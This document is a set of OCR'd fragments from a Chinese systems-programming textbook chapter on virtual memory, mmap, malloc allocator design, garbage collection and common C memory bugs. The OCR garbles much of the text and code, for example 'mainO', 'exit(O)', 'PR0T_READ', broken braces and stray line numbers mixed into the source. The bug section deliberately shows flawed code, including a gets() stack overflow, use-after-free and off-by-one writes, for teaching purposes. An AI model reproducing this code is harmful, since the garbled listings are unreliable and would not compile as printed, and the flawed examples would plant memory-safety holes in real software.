    {"text": "进程2的 虚拟存储器 进程1的 虚拟存储器 进程1的 虚拟存储器 物理 存储器 进程2的 虚拟存储器 写私有的写 时拷贝的页 物理 存储器\n私有的写时拷贝对象 私有的写时拷贝对象 a)两个进程都映射了私有的写时拷贝对象之后 b)进程2写了私有区域中的一个页之后 ••图9-30 —个私有的写时拷贝对象 9.8.2 再看 fork 函数 既然我们理解了虚拟存储器和存储器映射，那么我们可以清晰地知道fork函数是如何创建 一个带有自己独立虚拟地址空间的新进程的。"},
    {"text": "9.8.3 再看 execve 函数 虚拟存储器和存储器映射在将程序加载到存储器的过程中也扮演着关键的角色。 既然已经理 解了这些概念，我们就能够理解execve函数实际上是如何加载和执行程序的。 假设运行在当 前进程中的程序执行了如下的调用： Execve(\"a.out M , NULL, NULL); 正如在第8章中学到的，execve函数在当前进程中加载并运行包含在可执行目标文件a. out 中的程序，用a • out程序有效地替代了当前程序。"},
    {"text": "如果a .out程序与共享对象（或目标）链接，比如标准C库libc .so,那 么这些对象都是动态链接到这个程序的，然后再映射到用户虚拟地址空间中的共享区域内。"},
    {"text": "-私有的，请求二进制零的 加载器是如何映射用户地址空间的区域的 9.8.4 使用 mmap 函数的用户级存储器映射 Unix进程可以使用mmap函数来创建新的虚拟存储器区域，并将对象映射到这些区域中。"},
    {"text": "#include <unistd.h> #include <sys/mman.h> void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset); 返回：若成功时则为指向映射区域的指针，若出错则为MAP_FAILED (—1)。"},
    {"text": "用户栈 libc.so ^ 共享的，文件提供的 .data .text 共享库的存储器映射区域 运行时堆 (通过malloc分配的） 未初始化的数据(.bss ) -私有的，请求二进制零的 -私有的，请求二进制零的 •私有的，文件提供的 a.out 已初始化的数据(.data) .data .text 程序文本（text) 0 图 9-31\nmmap函数要求内核创建一个新的虚拟存储器区域，最好是从地址start开始的一个区域, 并将文件描述符fd指定的对象的一个连续的片（dmnk)映射到这个新的区域。"},
    {"text": "文件描述符fd指定 进程虚拟存储器 的磁盘文件 图 9-32 mmap 参数的可视化解释 参数prot包含描述新映射的虚拟存储器区域的访问权限位（在相应区域结构中的vm_ prot 位）。"},
    {"text": "例如 bufp = Mmap(-1, size, PR0T_READ, MAP^PRIVATEI MAP.ANON, 0, 0); 让内核创建一个新的包含size字节的只读、私有、请求二进制零的虚拟存储器区域。"},
    {"text": "munmap函数删除虚拟存储器的区域 ： #include <unistd.h> #include <sys/mman.h> int munmap(void *start, size_t length); 返回：若成功则为0，若出错则为一1。 munmap函数删除从虚拟地址start开始的，由接下来length字节组成的区域。"},
    {"text": "9.9 动态存储器分配 虽然可以使用低级的mmap和munmap函数来创建和删除虚拟存储器的区域，但是C程 序员还是会觉得当运行时需要额外虚拟存储器时 ，用动态存储器分配器 （dynamic memory allocator)更方便，也有更好的可移植性。"},
    {"text": "系统之 间细节不同，但是不失通用性，我们假设堆是一个请求二进制零的区域，它紧接在未初始化的 bss区域后开始，并向上生长（向更高的地址)。"},
    {"text": "•隐式分配器 （implicit allocator),另一方面，要求分配器检测一个已分配块何时不再被程序 所使用 ， 那么就释放这个块。 隐式分配器也叫 做垃圾收集器（ garbagecollector),而自动释 放未使用的已分配的块的过程 叫做垃圾收集 （garbage collection )。"},
    {"text": "例如，图形处理密集的应用程序就经常使用标准分配器来要 求获得一大块虚拟存储器，然后使用与应用相关的分配器来管理块中的存储器，以支持图形节点 的创建和销毁。"},
    {"text": "#include <stdlib.h> void *malloc(size_t size);\nmalloc函数返回一个指针，指向大小为至少size字节的存储器块，这个块会为可能包含 在这个块内的任何数据对象类型做对齐。"},
    {"text": "动态存储器分配器，例如malloc,可以通过使用mmap和munmap函数，显式地分配和释 放堆存储器，或者还可以使用sbrk函数： #include <unistd.h> void *sbrk(intptr_t incr); 返回：若成功则为旧的brk指针，若出错则为一1。"},
    {"text": "用一个为负的incr来调用sbrk是合法的，而且很巧妙，因为返回值（brk的 旧值）指向距新堆顶向上abs (incr)字节处 6 程序是通过调用free函数来释放已分配的堆块。"},
    {"text": "•图9-34c ：程序请求一个6字的块，而malloc就从空闲块的前部切出一个6字的块。 •图9-34d:程序释放在图9-34b中分配的那个6字的块。"},
    {"text": "I m..:n IN ii i a) pi = malloc(4*sizeof(int)) p1 P2 为什么要使用动态存储器分配 C)p3 : malloc(6*sizeof(int)) b) p2 = malloc(5*sizeof(int)) I rr 程序使用动态存储器分配的最重要的原因 是经常直到程序实际运行时，它们才知道某 些数据结构的大小。"},
    {"text": "最简单的方法 就是用某种硬编码的最大数组大小静态地定 义这个数组： EE I I ] #include \"csapp.h\" #define MAXN 15213 d) free(p2) 3 \\ 2 r int array[MAXN]; int mainO I e)p4 = malloc(2*sizeof(int)) 图9-34用malloc和free分配和释放块。"},
    {"text": "虽然对于这个简单的示 例来说这不成问题，但是硬编码数组界限的出现对于拥有百万行代码和大量使用者的大型软件产 品而言，会变成一场维护的噩梦。"},
    {"text": "'1 #include \"csapp.h\" 2 int mainO { int *array, i, n; 6 scanf(\"%d\", &n); array = (int *)Malloc(n * sizeof(int)); for (i = 0; i < n; i++) scanf(\"%d\", &array[i]); n exit(O); 动态存储器分配是一种有用而重要的编程技术。"},
    {"text": "一个应用可以有任意的分配请求和释放请求序列，只要满足约束条 件：每个释放请求必须对应于一个当前已分配块，这个块是由一个以前的分配请求获得 的。"},
    {"text": "因此，分配器不可以假设分配和释放请求的顺序。 例如，分配器不能假设所有的分配 请求都有相匹配的释放请求，或者有相匹配的分配和空闲请求是嵌套的。"},
    {"text": "假定 《个 分配和释放请求的某种序列 ： R Q9 及1, •••，及灸，•••， R n -l 我们希望一个分配器的吞吐率最大化，吞吐率定义为每个单位时间里完成的请求数。 例如，如果 一个分配器在1秒钟内完成500个分配请求和500个释放请求，那么它的吞吐率就是每秒1000 次操作。"},
    {"text": "正如我们会看到的，开发一个具有合理性能的分配器并不困难，所谓合理性能是指一个分配请求 的最糟运行时间与空闲块的数量呈线性关系，而一个释放请求的运行时间是个常数。"},
    {"text": "像以前一样，我们给定《 个 分配和释放请求的某种顺序 Ro， …， R k , …， R„-\\ 如果一个应用程序请求一个字节的块，那么得到的已分配块的有效载荷（payload)是字节。 在请求A完成之后， 聚集有效载荷 （aggregate payload)表示为为当前已分配的块的有效载 荷之和，而风表示堆的当前的（单调非递减的）大小。"},
    {"text": "那么，前A：个请求 的峰值利用率 表示为¢4,可以通过下式得到丨 max i<k P t Ub = H k 那么，分配器的目标就是在整个序列中使峰值利用率厂㈠最大化。"},
    {"text": "碎片 造成堆利用率很低的主要原因是一种称 为碎片 （fragmentation)的现象，当虽然有未使用的 存储器但不能用来满足分配请求时，就会发生这种现象。"},
    {"text": "有两种形式的碎片： 内部碎片 （internal fragmentation) 和夕卜部碎片 （external fragmentation) 0 内部 碎片是 在一个已分配块比有效载荷大时发生的。"},
    {"text": "例如，如果图9-34e中的请求要求6个字，而不是2个字，那 么如果不向内核请求额外的虚拟存储器就无法满足这个请求，即使在堆中仍然有6个空闲的字。"},
    {"text": "•放置：我们如何选择一个合适的空闲块来放置一个新分配的块？ •分割 ： 在我们将一个新分配的块放置到某个空闲块之后 ， 我们如何处理这个空闲块中的剩 余部分？ •合并：我们如何处理一个刚刚被释放的块？"},
    {"text": "因为像放置、分割以及合并这样的基本技术贯穿 在许多不同的空闲块组织中，所以我们将在一种叫做隐式空闲链表的简单空闲块组织结构中来介 绍它们。 隐式空闲链表 任何实际的分配器都需要一些数据结构，允许它来区别块边界，以及区别已分配块和空闲 块。"},
    {"text": "3 2 10 31 头部\nmalloc返回一个指针， 它指向有效载荷的开始处_ 00a 块大小 有效载荷 (只包括已分配的块） a = 1:已分配的 a = 0:空闲的 块大小包括头部’ 有效载荷和所有的填充\n填充（可选) 图9-35 —个简单的堆块的格式 在这种情况下，一个块是由一个字的 头部、 有效载荷，以及可能的一些额外的 填充组 成的。"},
    {"text": "那么它的头部将是 0x00000018 | 0x1 = 0x00000019 类似地，一个块大小为40 (0x28)字节的空闲块有如下的头部： 0x00000028 | 0x0 = 0x00000028 头部后面就是应用调用malloc时请求的有效载荷。"},
    {"text": "请求 块大小（十进制字节） 块头部（十六进制） malloc(1) malloc(5) malloc(12) malloc(13) 放置已分配的块 当一个应用请求一个A字节的块时，分配器搜索空闲链表，査找一个足够大可以放置所请求 块的空闲块。"},
    {"text": "下一次适配是由Donald Knuth作为 首次适配的一种代替品最早提出的，源于这样一个想法：如果我们上一次在某个空闲块里已经发 现了一个匹配，那么很可能下一次我们也能在这个剩余块中发现匹配。"},
    {"text": "然而，一些研究表明，下一 次适配的存储器利用率要比首次适配低得多。 研究还表明最佳适配比首次适配和下一次适配的存 储器利用率都要髙一些。"},
    {"text": "然而，在简单空闲链表组织结构中，比如隐式空闲链表中，使用最佳适 配的缺点是它要求对堆进行彻底的搜索。 在后面，我们将看到更加精细复杂的分离式空闲链表组 织，它接近于最佳适配策略，不需要进行彻底的堆搜索。"},
    {"text": "图9-37展示了分配器如何分割图9-36中8个字的空闲 块，来满足一个应用的对堆存储器3个字的请求。 a 8/0 親 讓 - fe 16/0 im 1 j 双字 对齐的 图9-37分割一个空闲块，以满足一个3个字的分配请求。"},
    {"text": "然而，如果这样还是 不能生成一个足够大的块，或者如果空闲块已经最大程度地合并了，那么分配器就会通过调用 sbrk函数，向内核请求额外的堆存储器。 分配器将额外的存储器转化成一个大的空闲块，将这 个块插入到空闲链表中，然后将被请求的块放置在这个新的空闲块中。"},
    {"text": "或者它也可 以选择推 迟合并 （deferred coalescing),也就是等到某个稍晚的时候再合并空闲块。 例如，分配 器可以推迟合并，直到某个分配请求失败，然后扫描整个堆，合并所有的空闲块。"},
    {"text": "立即合并很简单明了，可以在常数时间内执行完成，但是对于某些请求模式，这种方式会产 生一种形式的抖动，块会反复地合并，然后马上分割。"},
    {"text": "如果每个块包括这样一 31 3 2 10 :001:已分配的 = 000:空闲的 块大小 头部 有效载荷 (只包括已分配的块） 块大小 脚部 图9-39使用边界标记的堆块的格式\n个脚部，那么分配器就可以通过检查它的脚部，判断前面一个块的起始位置和状态，这个脚部总 是在距当前块开始位置一个字的距离。"},
    {"text": "考虑当分配器释放当前块时所有可能存在的情况： 前面的块和后面的块都是已分配的。 前面的块是已分配的，后面的块是空闲的。 前面的块是空闲的，而后面的块是已分配的。 前面的和后面的块都是空闲的。"},
    {"text": "在情况2)中，当 前块与后面的块合并。 用当前块和后面块的大小的和来更新当前块的头部和后面块的脚部。 在If 况3)中，前面的块和当讀块合并。 用两个块大小的和来更新前面块的头部和当前块的脚部。 在 情况4)中，要合并所有的三个块形成一个单独的空闲块，用三个块大小的和来更新前面块的头 部和后面块的脚部。"},
    {"text": "例如，如果一个图形应用通过反复调用malloc和free 来动态地创建和销毁图形节点，并且每个图形节点都只要求两个存储器字,那么头部和脚部将占 用每个已分配块的一半的空间。"},
    {"text": "回想一下，当我们试图在存储器中合并当前块以及前面的块和后面的块时，只有在前面的块是空 闲时，才会需要用到它的脚部。 如果我们把前面块的已分配/空闲位存放在当前块中多出来的低 位中，那么已分配的块就不需要脚部了，这样我们就可以将这个多出来的空间用作有效载荷了。"},
    {"text": "对齐要求 已分配的块 空闲块 最小块大小（字节） 单字 头部和脚部 头部和脚部 单字 头部，但是无脚部 头部和脚部 双字 头部和脚部 头部和脚部 双字 头部，但是没有脚部 头部和脚部 9.9.12综合：实现一个简单的分配器 构造一个分配器是一件富有挑战性的任务。"},
    {"text": "另一个挑战就是你经常被迫在类型系统的安全和熟悉的限 定之外编程，依赖于容易出错的指针强制类型转换和指针运算，这些操作都属于典型的低层系统 编程。"},
    {"text": "分配器输出三个函数到应用程序： extern int mm_init(void); extern void *mm_malloc (size^t size); extern void mm_free (void *ptr); 函数初始化分配器，如果成功就返回0,否则就返回-1。"},
    {"text": ") code/vm/malloc/memlib. c 1 2 3 4 5 6 7 9 10 11 12 13 '14 15 16 17 18 19 21 22 23 24 25 26 27 28 29 30 31 32 /氺 Private global variables 氺 / static char *mem_heap; /* Points to first byte of heap */ static char *mem_brk; /* Points to last byte of heap plus 1 */ static char *mem_max_addr ; /* Max legal heap addr plus 1 本 / - Initialize t.he memory system model */ void mem_init(void) memjieap = (char *)Malloc(MAX_HEAP); mem_brk = (char *)memjieap; mem_max_addr = (char *)(mera_heap + MAX_HEAP); mem_sbrk — Simple model of the sbrk function. Extends the heap by incr bytes and. returns the start address of the new area. In this model, the heap cannot be shrunk. */ void *mem_sbrk(int incr) char *old_brk = mem_brk; if ( (incr < 0) I I ( (mem_brk + inc: errno = ENOMEM; fprintf(stderr, \"ERROR: mem_sbrk failed. Ran out of memory.. An\")； return (void *)-l; > mem_brk += incr; return (void *)old_brk; mem_max_addr)) { code/vm/malloc/memlib. c 图9-41 memlib • c ：存储器系统模型 序言块 普嗶块1 普咢块2 普 哼块” 结 尾块hdr I 卜卜丨 / 卜丨 … ki i \\-u 嚆的 I I static char *heap一listp 图9-42隐式空闲链表的恒定形式 , 2 .操作空闲链表的基本常数和宏 图9-43展示了一些我们在分配器编码中将要使用的基本常数和宏。"},
    {"text": "code/vm/malloc/mm. c /* Basic constants and macros */ #define WSIZE 4 /* Word and header/footer size (bytes) */ #define DSIZE 8 /* Double word size (bytes) */ #def ine CHUNKS IZE (1«12) /* Extend heap by this amount (bytes) */ #define MAX(x, y) ((x) > (y)? (x) : (y)) /* Pack #define /* Read #define #define /* Read #define #define a size and allocated bit into a word */ PACK(size, alloc) ((size) I (alloc)) and write a word at address p */ GET(p) (*(unsigned int *)(p)) PUT(p, val) (*(unsigned int *)(p)= (val)) the size and allocated fields from address p */ GET_SIZE(p) (GET(p) & -0x7) GETJlLLOC(p) (GET(p) & 0x1) /* Given block ptr bp, compute address of its header and footer */ #define HDRP(bp) ((char *)(bp) - WSIZE) #define FTRP(bp) ((char *)(bp) + GET_SIZE(HDRP(bp)) - DSIZE) /* Given block ptr bp, compute address of next and previous blocks */ #define NEXT.BLKP(bp) ((char *)(bp) + GET_SIZE(((char *)(bp) - WSIZE))) #define PREV_BLKP(bp) ((char *)(bp) - GET_SIZE(((char *)(bp) 一 DSIZE))) code/vm/malloc/mm. c 图9-43操作空闲链表的基本常数和宏 GET宏（第12行）读取和返回参数p引用的字。"},
    {"text": "给定一个块指针bp, HDRP和FTRP宏（第20〜21行）分别返回指向这个块的头部 和脚部的指针。 NEXT一BLKP和PREV一BLKP宏（第24〜25行）分别返回指向后面的块和前 面的块的块指针。"},
    {"text": "比如，给定一个指向当前块的指针bp，我们 可以使用下面的代码行来确定存储器中后面的块的大小： size_t size = GET_SIZE(HDRP(NEXT.BLKP(bp))); 3 .创建初始空闲链表 在调用mm_malloc或mm一free之前，应用必须通过调用函数来初始化堆（见 图9-44)。"},
    {"text": "code/vm/malloc/mm. c int mm_init(void) 2 { /* Create the initial empty heap */ if ((heap_listp = mem_sbrk(4*WSIZE)) == (void *)-1) return -1; PUT(heap_listp, 0); /* Alignment padding */ PUT(heap_listp + (1*WSIZE), PACK(DSIZE, 1)); /* Prologue header */ PUT(heap_listp + (2^WSIZE), PACK(DSIZE, 1)); /* Prologue footer */ PUT(heap_listp + (3*WSIZE), PACK(0, 1)); /* Epilogue header */ heap_listp += (2*WSIZE); /* Extend the empty heap with a free block of CHUNKSIZE bytes */ if (extend.heap(CHUNKSIZE/WSIZE) == NULL) return -1; return 0; 16 > code/vm/malloc/mm. c 图9-44 mm一init ：创建一个带初始空闲块的堆 ; code/vm/malloc/mm. c static void *extend_heap(size_t words) { char *bp; size_t size; 5 /* Allocate an even number of words to maintain alignment */ size = (words % 2) ? (words+1) * WSIZE : words * WSIZE; B if ((long)(bp : menu sbrk(size)) == -1) return NULL; 10 /* Initialize free block header/footer and th.e epilogue header */ PUT(HDRP(bp), PACK(size, 0)); /* Free block header */ PUT(FTRP(bp), PACK (size, 0)); /* Free block footer */ PUT (HDRP (NEXT.BLKP(bp)), PACK(0, 1)); /* New epilogue header */ 15 /* Coalesce if the previous block was free */ return coalesce(bp); > code/vm/malloc/mm. c 图9-45 extend_heap ：用一个新的空闲块扩展堆 extend_heap函数的剩余部分（第12〜17行）有点微妙。"},
    {"text": "最后，在很可能出现的前一个堆以一个空闲块结束的情况下，我们调用coalesce函 数来合并两个空闲块，并返回指向合并后的块的块指针（第17行)。"},
    {"text": "释放和合并块 应用通过调用mm一free函数（见图9-46)来释放一个以前分配的块，这个函数释放所请求 的块（b P )，然后使用9.9.11节中描述的边界标记合并技术将之与邻接的空闲块合并起来。"},
    {"text": "code/vm/malloc/mm. c void mm_free(void 8 bp) { size_t size = GET_SIZE(HDRP(bp)); PUT(HDRP(bp), PACK(size, 0)); PUT(FTRP(bp), PACK(size, 0)); coalesce(bp); static void *coalesce(void *bp) size.t prev.alloc = GET.ALLOC(FTRP(PREV_BLKP(bp))); size.t next_alloc = GET.ALLOC(HDRP(NEXT_BLKP(bp))); size_t size = GET_SIZE(HDRP(bp)); /氺 Case 1 */ if (prev_alloc && next_alloc) { return bp; else if (prev_alloc && !next_alloc) { /* Case 2 */ size += GET.SIZE(HDRP(NEXT.BLKP(bp))); PUT(HDRP(bp), PACK(size, 0)); PUT(FTRP(bp), PACK(size,0)); > else if (!prev_alloc && next_alloc) { /* Case 3 */ size += GET.SIZE(HDRP(PREV_BLKP(bp))); PUT(FTRP(bp), PACK(size, 0)); PUT(HDRP(PREV_BLKP(bp)), PACK(size, 0)); bp = PREV.BLKP(bp); } else { /* Case 4 */ size += GET.SIZE (HDRP (PREV3LKP (bp) ) ) + GET_SIZE(FTRP(NEXT JBLKP(bp))); PUT(HDRP(PREV.BLKP(bp)), PACK(size, 0)); PUT(FTRP(NEXT.BLKP(bp)), PACK(size, 0)); bp = PREV_BLKP(bp); } return bp;\n双字对齐的要求。"},
    {"text": "code/vm/malloc/mm. c void *mm_malloc(size_t size) size_t asize; /* Adjusted block size 氺/ size_t extendsize; /* Amount to extend heap if no fit */ char *bp; /* Ignore spurious requests */ if (size == 0) return NULL; /* Adjust block size to include overhead and alignment reqs. */ if (size <= DSIZE) asize = 2+DSIZE; else asize = DSIZE * ((size + (DSIZE) + (DSIZE-1)) / DSIZE); 20 2 22 23 2 . 26 27 29 /* Search the free list for a fit */ if ((bp = find_fit(asize)) != NULL) { place(bp, asize); return bp; } /* No fit found. Get more memory and place the block */ extendsize = MAX(asize,CHUNKSIZE); if ((bp = extend_heap(extendsize/WSIZE)) == NULL) return NULL; place(bp, asize); return bp; > code/vm/malloc/mm. c 图 9-47 mm 一 malloc ：从空闲链表分配一个块 一旦分配器调整了请求的大小，它就会搜索空闲链表，寻找一个合适的空闲块（第18行)。"},
    {"text": "如果有合适的，那么分配器就放置这个请求块，并可选地分割出多余的部分（第19行)，然后返 回新分配块的地址。 如果分配器不能够发现一个匹配的块，那么就用一个新的空闲块来扩展堆（第24〜26行)， 把请求块放置在这个新的空闲块里，可选地分割这个块（第27行)，然后返回一个指针，指向这 个新分配的块。"},
    {"text": "static void place(void *bp, size_t asize) 你的解答应该将请求块放置在空闲块的起始位置，只有当剩余部分的大小等于或者超出最小块的大小 时，才进行分割。"},
    {"text": "然而,因为块分配 与堆块的总数呈线性关系，所以对于通用的分配器，隐式空闲链表是不适合的（尽管对于堆块数 量预先就知道是很小的特殊的分配器来说它是可以的)。"},
    {"text": "例如，堆可 以组织成一个双向空闲链表，在每个空闲块中，都包含一个pred (前驱）和succ (后继）指 针，如图9-48 所示。 31 3 2 10 31 3 2 10 块大小 块大小 头部 头部 a/f pred ( 祖先）\n有效载荷 succ ( 后继 ) 原来的有效载荷\n脚部 块大小 脚部 块大小\na) 分配块 b) 空闲块 图9-48使用双向空闲链表的堆块的格式 使用双向链表而不是隐式空闲链表，使首次适配的分配时间从块总数的线性时间减少到了空 闲块数量的线性时间。"},
    {"text": "一种方法是用后 进先出 （LIFO)的顺序维护链表，将新释放的块放置在链表的开始处。 使 用LIFO的顺序和首次适配的放置策略，分配器会最先检查最近使用过的块。"},
    {"text": "9.9.14 分离的空闲链表 就像我们已经看到的，一个使用单向空闲块链表的分配器需要与空闲块数量呈线性关系的时 间来分配块。 一种流行的减少分配时间的方法，通常称为分 离存储 （segregated storage),就是维 护多个空闲链表，其中每个链表中的块有大致相等的大小。"},
    {"text": "例如，我们可以根据2 的幂来划分块大小： {1}，{2}, {3,4}, {5 〜8}，…，{1025 〜2048}，{2049 〜4096}，{4097 〜~ } 或者我们可以将小的块分派到它们自己的大小类里,而将大块按照2的幂分类： {1}, {2}, {3}，…，{1023}, {1024}, {1025 〜2048}，{2049 〜4096}，{4097 〜~ } 分配器维护着一个空闲链表数组，每个大小类一个空闲链表，按照大小的升序排列。 当分配\n器需要一个大小为《的块时,它就搜索相应的空闲链表。"},
    {"text": "有关动态存储分配的文献描述了几十种分离存储方法，主要的区别在于它们如何定义大小 类， 何时进行合并，何时向操作系统请求额外的堆存储器，是否允许分割，等等。"},
    {"text": "简单分离存储 使用简单分离存储，每个大小类的空闲链表包含大小相等的块，每个块的大小就是这个大小 类中最大元素的大小。 例如，如果某个大小类定义为{17〜32},那么这个类的空闲链表全由大 小为32的块组成。 为了分配一个给定大小的块，我们检查相应的空闲链表。"},
    {"text": "如果链表为空，分配器就向操作系统请 求一个固定大小的额外存储器片（典型地是页大小的整数倍)，将这个片分成大小相等的块，并 将这些块链接起来形成新的空闲链表。"},
    {"text": "更糟的是，因为不会合并空闲块，所以某些引用模式会引起极多 的外部碎片（见练习题9.10)。 ®练习题9.10描述一个在基于简单分离存储的分配器中会导致严重外部碎片的引用模式。"},
    {"text": "每个空闲链表是和一个大小类相关联 的，并且被组织成某种类型的显式或隐式链表。 每个链表包含潜在的大小不同的块，这些块的大 小是大小类的成员。"},
    {"text": "如果空闲链表中没有合适的块，那么我们就向操作系统请求额外的 堆存储器，从这个新的堆存储器中分配出一个块，将剩余部分放置在适当的大小类中。"},
    {"text": "存储器利用率得到了改善，因为有一个有趣的事实：对分离空闲链表的 简单的首次适配捜索，其存储器利用率近似于对整个堆的最佳适配搜索的存储器利用率。"},
    {"text": "例 如，一个块大小为32字节，地址为 xxx.\"xOOOOO 它的伙伴的地址为 xxx.\"xlOOOO 换句话说，一个块的地址和它的伙伴的地址只有一位不相同。"},
    {"text": "例如，考虑下面的C函数，作为处理的一部 分，它分配一块临时存储： void garbage() { int *p = (int *)Malloc(15213); 4 return; /* Array p is garbage at this point */ 因为程序不再需要P,所以在garbage返回前应该释放p。"},
    {"text": "垃级收集器 （garbage collector)是一种动态存储分配器，它自动释放程序不再需要的已分配 块。 这些块称 为垃圾（ garbage)(因此术语就称之为垃圾收集器)。 自动回收堆存储的过程叫做 垃圾收集 （garbage collection )。"},
    {"text": "我们的讨论局限于 McCarthy独创的Mark&Sweep (标记&清除）算法，这个算法很有趣，因为它可以建立在已存 在的malloc包的基础之上，为C和C++程序提供垃圾收集。"},
    {"text": "根节点 4j i-i ： ^ 图9-49垃圾收集器将存储器视为一张有向图 A G可达的 •不可g的 1¾¾麗槐（垃圾） 当存在一条从任意根节点出发并到达;7的有向路径时，我们说节点p是可达的（reachable)。"},
    {"text": "像ML和Java这样的语言的垃圾收集器，对应用如何创建和使用指针有很严格的控制， 能够维护可达图的一种精确的表示，因此也就能够回收所有垃圾。"},
    {"text": "这样的收集器也叫做保守的垃圾收集器 (conservative garbage collector) 0 从某种意义上来说它们是保守的，即每个可达块都被正确地标 记为可达了，而一些不可达节点却可能被错误地标记为可达。"},
    {"text": "Mark&Sweep 垃圾收集器 Mark&Sweep垃圾收集器 由标记 （mark) 阶段和清除 （sweep) 阶段 组成，标记阶段标记出 根节点的所有可达的和已分配的后继，而后面的清除阶段释放每个未被标记的已分配块。"},
    {"text": "我们对Mark&Sweep的描述将假设使用下列函数，其中ptr定义为typedef void *ptr G •ptr isPtr (ptr p):如果p指向一个已分配块中的某个字，那么就返回一个指向这个 块的起始位置的指针b。"},
    {"text": "int blockMarked (ptr b):如果已经标记了块b,那么就返回true。 •int blockAllocated (ptr b):如果块b是已分配的，那么就返回true。 void markBlock (ptr b)：标记块 b。 •int length (ptr b):返回块b的以字为单位的长度（不包括头部)。 void unmarkBlock (ptr b):将块b的状态由已标记的改为未标记的。 •ptr nextBlock (ptr b):返回堆中块b的后继。"},
    {"text": "- void mark(ptr p) { void sweep(ptr b, ptr end) { if ((b = isPtr(p)) == NULL) while (b < end) { return; if (blockMarked(b)) if (blockMarked(b)) unmarkBlock(b); return; else if (blockAllocated(b)) markBlock(b); free(b); len = length(b); b = nextBlock(b); for (i=0; i < len; i++) > mark(b[i]); return; return; > > a) mark 函数 b) sweep 函数 图9-51 mark和sweep函数的伪代码 图9-52展示了一个小堆的Mark&Sweep的图形化解释。"},
    {"text": "第3块包 含一个指向第1块的指针。 第4块包含指向第3块和第6块的指针。 根指向第4块。 在标记阶 段之后，第1块、第3块、第4块和第6块被做了标记，因为它们是从根节点可达的。"},
    {"text": "因此，对isPtr没有一种明显的方式来 判断它的输入参数P是不是一个指针。 第二，即使我们知道P是一个指针，对isPtr也没有明 显的方式来判断P是否指向一个已分配块的有效载荷中的某个位置。"},
    {"text": "'对后一问题的解决方法是将已分配块集合维护成一棵平衡二叉树，这棵树保持着这样一个属 性：左子树中的所有块都放在较小的地址处，而右子树中的所有块都放在较大的地址处。"},
    {"text": "正确的方法是传递给scanf —个格式串和变量的地址： scanf(\"%d\", &val) 然而，对于C程序初学者而言（对有经验者也是如此)，很容易传递val的内容，而不是它的地址： scanf (\"7 0 d\", val) 在这种情况下，scanf将把val的内容解释为一个地址,并试图将一个字写到这个位置。"},
    {"text": "在最糟糕的情况下，val的内容对应于虚拟存储器的某个合 法的读/写区域，于是我们就覆盖了存储器，这通常会在相当长的一段时间以后造成灾难性的、 令人困惑的后果。"},
    {"text": "9.11.2 读未初始化的存储器 虽然bss存储器位置（诸如未初始化的全局C变量）总是被加载器初始化为零，但是对于堆 存储器却并不是这样的。"},
    {"text": "一个常见的错误就是假设堆存储器被初始化为零： /* Return y = Ax */ int *matvec(int **A, int *x, int n) { int i, j; 5 int *y = (int *) Malloc(n * sizeof (int)) ; 7 for (i = 0; i < n; i++) for (j = 0; j < n; j++) y[i] += ACi] [j] * x[j]; return y; 在这个示例中，程序员不正确地假设向量y被初始化为零。"},
    {"text": "9.11.3 允许栈缓冲区溢出 正如我们在3.12节中看到的，如果一个程序不检查输入串的大小就写入栈中的目标缓冲 区， 那 么这个程序就会有缓 冲区溢出错误 （buffer overflow bug)。"},
    {"text": "为了纠正这个错误，我们必须使用 fgets函数，这个函数限制了输入串的大小： void bufoverflow() { char buf[64]; gets(buf); /* Here is the stack buffer overflow bug return; 假设指针和它们指向的对象是相同大小的 一种常见的错误是假设指向对象的指针和它们所指向的对象是相同大小的： /* Create an nxm a_rra.y +/ int **makeArrayl(int n, int m) i int i; int **A - (int **)Malloc(n * sizeof(int)); 6 for (i = 0; i < n; i++) A[i] = (int *)Malloc(m * sizeof(int)); return A ; 这里的目的是创建一个由w个指针组成的数组，每个指针都指向一个包含m个int的数组。"},
    {"text": "因为这些字中的一个很可能是已分配块的边界标记脚部 ， 所以我们可能 不会发现这个错误，直到我们在这个程序的后面很久释放这个块时，此时，分配器中的合并代码 会戏剧性地失败，而没有任何明显的原因。"},
    {"text": "9.11.5造成错位错误 错位（Off-by-one)错误是另一种很常见的覆盖错误来源： /* Create an nxm array */ int **makeArray2(int n, int m) H { int i; int **A = (int **)Malloc(n * sizeof (int *)); 6 for (i = 0; i <= n; i++) A[i] = (int *) Malloc(m * sizeof(int)) ; return A; 这是前面一节中的程序的另一个版本。"},
    {"text": "这里我们在第5行创建了一个/7个元素的指针数组，但是 随后在第7行和第8行试图初始化这个数组的 n + 1个元素，在这个过程中覆盖了 A数组后面的 某个存储器。"},
    {"text": "比如，考虑下面的函数，其目的是删除一个有*size项的二叉堆里的第一项，然后对 剩下的*size-l项重新建堆： ] int *binheapDelete(int **binheap, int *size) 2 { int *packet = binheap [0]; A binheap [0] = binheap[*size - 1]; *size --; /* This should be Osize)-- */ heapify(binheap, *size, 0); return (packet); 在第 6 行，目的是减少 size 指针指向的整数的值。"},
    {"text": "例如，下面函数的目的是扫描一个 int 的数组，并返回一个指 针，指向 val 的首次出现： int *search(int *p, int val) { • while (*p && *p != val) p += sizeof(int); /* Should be p 十 + */ return p; > ' 然而，因为每次循环时，第 4 行都把指针加了 4 ( 一个整数的字节数)，函数就不正确地扫描数 组中每 4 个整数。"},
    {"text": "引用不存在的变量 没有太多经验的 C 程序员不理解栈的规则，有时会引用不再合法的本地变量，如下列所示： int *stackref () { int val; 4 return &val; > 这个函数返回一个指针（如 P), 指向栈里的一个局部变量，然后弹出它的找帧。"},
    {"text": "再后来，如果程序分配某个值给 *P ,那么它可能实际上正在 修改另一个函数的栈帧中的一个条目，从而潜在地带来灾难性的、令人困惑的后果。"},
    {"text": "例如，考虑下面的示例，这个示例在 第 6 行分配了一个整数数组 x, 在第 10 行中先释放了块 x, 然后在第 14 行中又引用了它：\nint *heapref(int n, int m) { int i; int *x, *y; 5 x = (int *)Malloc(n * sizeof(int)); • /* ... */ /* Other calls to malloc and free go here */ 9 free(x); 1 y = (int *)Malloc(m * sizeof(int)); for (i = 0; i < m; i++) -i y [i] = x [i] ++; A Oops! x [i] is a word in a free block */ 取决于在第6行和第10行发生的malloc和free的调用模式，当程序在第14行引用x [幻 时，数组x可能是某个其他已分配堆块的一部分了，因此其内容被重写了。"},
    {"text": "例如，下面的函数分配了一个堆块x,然后不释放它就返回： void leak(int n) { i int *x = (int *)Malloc(n * sizeof(int)); 4 return ; /* x is garbage at this point 氺 / } 如果经常调用leak,那么渐渐地，堆里就会充满了垃圾，在最糟糕的情况下，会占用整个 虚拟地址空间。"},
